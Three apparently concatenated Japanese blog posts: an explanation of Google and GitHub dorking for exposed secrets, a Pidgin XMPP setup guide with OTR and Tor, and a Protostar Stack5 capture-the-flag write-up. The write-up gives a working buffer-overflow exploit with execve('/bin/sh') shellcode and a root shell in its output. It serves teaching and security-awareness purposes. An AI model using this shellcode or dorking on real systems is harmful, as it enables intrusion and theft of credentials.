GitHub Dorks

エンジニアの方にとって無くてはならない存在と言っても過言ではないGitHub。 今回はそのGitHubについて書いていきます。
本稿は読者のセキュリティを高める目的で書いています。本稿の内容で得た情報を用い自身の管理下にないネットワークやコンピュータへアクセスした場合、不正アクセス行為と判断され、法的措置を取られる可能性があります。同内容の調査を行い被ったいかなる被害についても、 投稿者は一切の責任を負いかねます。

Google Dorks

さて、タイトルのGitHub Dorksについて書く前に1つ説明しなくてはならないことがあります。
Google Dorks』です。
これはGoogleで検索する際、検索オプションを用いることで本来見つけにくい情報を見つける方法の総称です。
一時期、Twitterで話題になった「filetype:pdf 社外秘」で検索するというのもその1つです。
オプションをまとめたサイトや実際に検索するツールなんかも出ています。
webサイト側の公開設定がおかしいせいでこのような事が起きているようです。 Google側もこの手法について把握しているらしく、検索オプションを多用するとキャプチャを求めてきたりバンしてきます(Torを使っているとまず間違いなくやられる)

GitHubでの応用

Google Dorksは

ならGoogle以外のサイトでも使うことができます。
この手法をGitHubで使ったものが『GitHub Dorks』です。
GitHubはエンジニアがコード類を置く場所という性質上、非常にセンシティブな情報が置かれやすいです。
例として

  • SSH秘密鍵
  • ネットワークの構成情報
  • 社内で使っているツール
  • 何かのサービスで認証するための情報
  • etc...

GitHubにそんな情報上げるわけないだろ」と思う方もいるかもしれないですが、これが現実です。
.gitignoreを利用していない・不必要なファイルがリポジトリに含まれているといった設定不備があったり、リポジトリが全世界に公開されていることを理解していなかったりでこのような事が起きているようです。
これもGoogle Dorksと同様にツールが出ています。

最後に

どれだけ注意していても人間ミスする時はミスするので「自分はGitHubに変な情報を上げていないぞ」と思っている人も今一度確認してみてください。

XMPPことはじめ

XMPP(jabber)で連絡をする必要が出てきたので、その時にとった対応を書きます。

環境

$ uname -a
Linux mint-vm 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

Pidginのインストール

PidginはXMPPを扱えるソフトです。 インストールには下記コマンドを入力します。

$ sudo apt install pidgin

アカウント作成

Pidginを入れたら今度はXMPPのアカウントを作成します。 今回はXMPP.JPを使ってみます。 トップページの「アカウントを作成」から作ります。 (画像は例) f:id:famasoon:20161004161155p:plain f:id:famasoon:20161004161208p:plain

アカウントをPidginに登録する

アカウントの管理から「追加」を押し下の画像のように入力してください。 f:id:famasoon:20161004161248p:plain 入力を済ませたら「追加」を押します。 画像のようになったらアカウントの登録ができました。 f:id:famasoon:20161004161315p:plain あとは仲間リストというウィンドウが出てくるので、そこで連絡先を追加したり実際に連絡をとってみたりしてください。

(おまけ)

OTRというものがあります。 これは暗号化によって通信内容を秘匿する仕組みです。 詳しくはこちら。 Pidginはプラグインを導入することでOTRに対応させることができます。 まずは下のコマンドを入力

$ sudo apt install pidgin-otr

次にPidginの仲間リストウィンドウの「ツール」->「プラグイン」を選択。 出てきたリストの中に「Off-the-Record Messaging」という項目があるのでチェックを入れる。 そのまま下の方の「プラグインの設定」を選択。 出てきたウィンドウの「My private keys」という項目の「Generate」を押す。 OTR用の鍵が生成されるので少し待ちます。 鍵が生成されたら終わりです。 これで「OTR有効じゃないと連絡しないよ!!」と言っている人とも連絡できますね :)

(おまけ2)

XMPPで連絡を取りたいけど何処から通信しているか秘匿したいと思う人は多いはず。 そんな需要があってかPidginではプロキシを設定することができます。 今回はTorをプロキシとして設定してみます。 とは言っても簡単で、まずはTorをインストール。

$ sudo apt install tor

次にPidginのアカウント管理画面からTorを通したいアカウントを選択して設定画面を出します。 そこの「プロキシ」タブを選択。 プロキシの種類を「Tor/Privacy(SOCKS5)」に選択。 そしてTorがリッスンしているIPアドレスとポート番号を入力します(下の画像は私の例) f:id:famasoon:20161004161515p:plain これで終わりです。

protostar Stack5 writeup

## はじめに
exploit-exercisesのprotostar(https://exploit-exercises.com/protostar/) のStack5を解いたので、そのwriteupを書いていく

### Stack5
ソースコード

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

バイナリのmain関数

$ objdump -d ./stack5 | grep main\>: -A9
080483c4 <main>:
 80483c4:	55                   	push   ebp
 80483c5:	89 e5                	mov    ebp,esp
 80483c7:	83 e4 f0             	and    esp,0xfffffff0
 80483ca:	83 ec 50             	sub    esp,0x50
 80483cd:	8d 44 24 10          	lea    eax,[esp+0x10]
 80483d1:	89 04 24             	mov    DWORD PTR [esp],eax
 80483d4:	e8 0f ff ff ff       	call   80482e8 <gets@plt>
 80483d9:	c9                   	leave  
 80483da:	c3                   	ret    

前回同様76バイトより後ろがリターンアドレスのようだ.

$ python -c 'print "A"*75' | ./stack5
$ python -c 'print "A"*76' | ./stack5
Segmentation fault

Stack4と同じように脆弱性があるが今回はwin()がない.
というわけで自分で適当なシェルコードを流しこんでシェルを起動させる.
シェルコードとはコンピュータが命令として解釈できる文字列で, もっぱら脆弱性を利用して何らかの命令を実行させたいときに利用される.
よく脆弱性が見つかった時に"不正なコードを実行する脆弱性"と紹介されるが, これの不正なコードにあたるものがシェルコードだ.
今回は下記リンクのコードを使う.
http://shell-storm.org/shellcode/files/shellcode-827.php
これはx86Linux環境でexecve("/bin/sh")を走らせた時と同じ振る舞いをする.

$ ltrace ./stack5
__libc_start_main(0x80483c4, 1, 0xbffff8a4, 0x80483f0, 0x80483e0 <unfinished ...>
gets(0xbffff7b0, 0xb7ec6165, 0xbffff7b8, 0xb7eada75, 0xb7fd7ff4AAAA
)                                         = 0xbffff7b0
+++ exited (status 176) +++

これを見るとespの位置は0xbffff7b0であることがわかる.
bufferはそこに0x10分足した場所から始まるので0xbffff7c0であるとわかる.
ここから書き換えたいリターンアドレスとのオフセットは76バイト, さらにリターンアドレス4バイトを足した先にシェルコードを設置し読み込ませる.
bufferの先頭アドレスからリターンアドレスを含めたオフセットは80バイトで, これを0xbffff7c0と足すと0xbffff810となる.

まとめると
0xbffff7c0から76バイトを埋める
0xbffff80c(0xbffff7c0+76)の位置にその直後のアドレスを書き込む
0xbffff810(0xbffff7c0+80)の位置からシェルコードを書き込む
ということになる.

コードにすると下記のようになる

#!/usr/bin/env python
import struct

buffer = 0xbffff7c0
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

def p32(num):
    return struct.pack("<L", num)

payload = "A"*76
payload += p32(buffer+80)
payload += shellcode

print payload

これを標準入力からStack5に入れてもシェルが開くだけなのでcatを利用し入力できるようにする.
実行は下記のようになる.

$ (/tmp/stack5.py; cat -) | ./stack5
whoami
root

バイナリの所有者権限に昇格することができたので成功とする.

Stack5 おわり